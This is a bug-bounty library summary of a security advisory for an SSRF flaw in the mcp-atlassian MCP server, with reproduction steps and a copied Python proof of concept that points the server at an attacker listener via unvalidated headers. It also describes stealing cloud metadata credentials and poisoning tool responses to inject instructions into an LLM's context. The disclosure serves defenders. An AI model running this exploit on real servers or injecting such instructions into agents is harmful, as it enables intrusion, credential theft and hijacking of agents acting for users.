# MCP Atlassian has SSRF via unvalidated X-Atlassian-Jira-Url / X-Atlassian-Confluence-Url headers

Unauthenticated attacker sets X-Atlassian-Jira-Url header on mcp-atlassian HTTP transport, forcing server-side GET to arbitrary URL for SSRF and metadata theft.

- Payout: Research
- Severity: high
- Program: mcp-atlassian
- Found by: yotampe-pluto, gil-maman-p
- Disclosed: 2026-03-10
- CVE: CVE-2026-27826
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-7r34-79r5-rcc9
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-7r34-79r5-rcc9
- Tags: area:ai domain:ai domain:web impact:data-leak impact:internal-access kind:research platform:ghsa sev:high tech:python technique:source-review vuln:auth-bypass vuln:prompt-injection vuln:ssrf

**Target:** MCP server HTTP/SSE transport middleware and dependency injection
**Root cause:** Middleware stores attacker-supplied X-Atlassian-Jira-Url in request state without validation, and the dependency provider uses it directly as JiraConfig url, triggering an outbound GET to {url}/rest/api/2/myself with no allowlist or private-IP block.
**Steps:**
1. Start listener on port 8888 logging GET paths.
2. Run `mcp-atlassian --transport streamable-http --port 8000` with placeholder JIRA_URL/JIRA_API_TOKEN.
3. POST to `/mcp` initialize with headers `X-Atlassian-Jira-Url: http://<listener>:8888`, `X-Atlassian-Jira-Personal-Token: any-value`, no `Authorization`; capture `mcp-session-id`.
4. POST `tools/call` jira_get_issue with same headers plus `Mcp-Session-Id`; listener receives `GET /rest/api/2/myself`.
**How found:** Code review of the HTTP middleware and dependency injection layer rather than tool handlers; noticed the PAT branch sets auth_type without setting user_atlassian_token, routing to a path that trusts the header URL unvalidated.
**Exploitation:** Attacker needs network reach to the HTTP/SSE endpoint. Supplying the two custom headers without Authorization routes to the PAT path, constructs a JiraFetcher pointed at the attacker URL, and caches it in request.state so all subsequent Jira tool calls return attacker-controlled responses. Enables internal recon, IAM credential theft via 169.254.169.254, and prompt injection into the LLM context.
**Escalation:** Cached attacker fetcher poisons all tool responses for the session, injecting LLM instructions; cloud metadata endpoint yields IAM role credentials for full cloud access.
**Insight:** In MCP/agent servers, audit the transport middleware and DI layer for per-request config headers (URLs, tokens) that bypass the normal auth path — tool-handler review misses these; check whether header-supplied base URLs are compared to server config or blocklisted before any outbound call.

## Proof of concept (copied exactly from the original report)

**SSRF trigger via unvalidated Jira URL header**

```
import httpx, json

  MCP    = "http://localhost:8000/mcp"
  ATTACK = "http://<listener-ip>:8888"

  # Initialize MCP session
  r = httpx.post(MCP, json={
      "jsonrpc": "2.0", "method": "initialize",
      "params": {"protocolVersion": "2024-11-05", "capabilities": {},
                 "clientInfo": {"name": "poc", "version": "1.0"}},
      "id": 1
  }, headers={
      "X-Atlassian-Jira-Url": ATTACK,
      "X-Atlassian-Jira-Personal-Token": "any-value",
      # No Authorization header — this is the key condition
  })
  sid = r.headers.get("mcp-session-id")

  # Call any Jira tool — this triggers get_jira_fetcher() and the outbound SSRF call
  httpx.post(MCP, json={
      "jsonrpc": "2.0", "method": "tools/call",
      "params": {"name": "jira_get_issue", "arguments": {"issue_key": "PROJ-1"}},
      "id": 2
  }, headers={
      "X-Atlassian-Jira-Url": ATTACK,
      "X-Atlassian-Jira-Personal-Token": "any-value",
      "Mcp-Session-Id": sid,
  })

  The listener will receive GET /rest/api/2/myself originating from the MCP server process, confirming the SSRF.
```

**Listener capturing inbound SSRF request**

```
# listener.py
  from http.server import HTTPServer, BaseHTTPRequestHandler
  import json, sys

  class Handler(BaseHTTPRequestHandler):
      def do_GET(self):
          print(f"[SSRF RECEIVED] Path: {self.path}", file=sys.stderr)
          print(f"[SSRF RECEIVED] Headers: {dict(self.headers)}", file=sys.stderr)
          self.send_response(200)
          self.send_header("Content-Type", "application/json")
          self.end_headers()
          if "myself" in self.path:
              self.wfile.write(json.dumps({
                  "accountId": "ssrf-confirmed",
                  "displayName": "SSRF PoC"
              }).encode())
          else:
              self.wfile.write(b"{}")
      def log_message(self, *args): pass

  HTTPServer(("0.0.0.0", 8888), Handler).serve_forever()
```

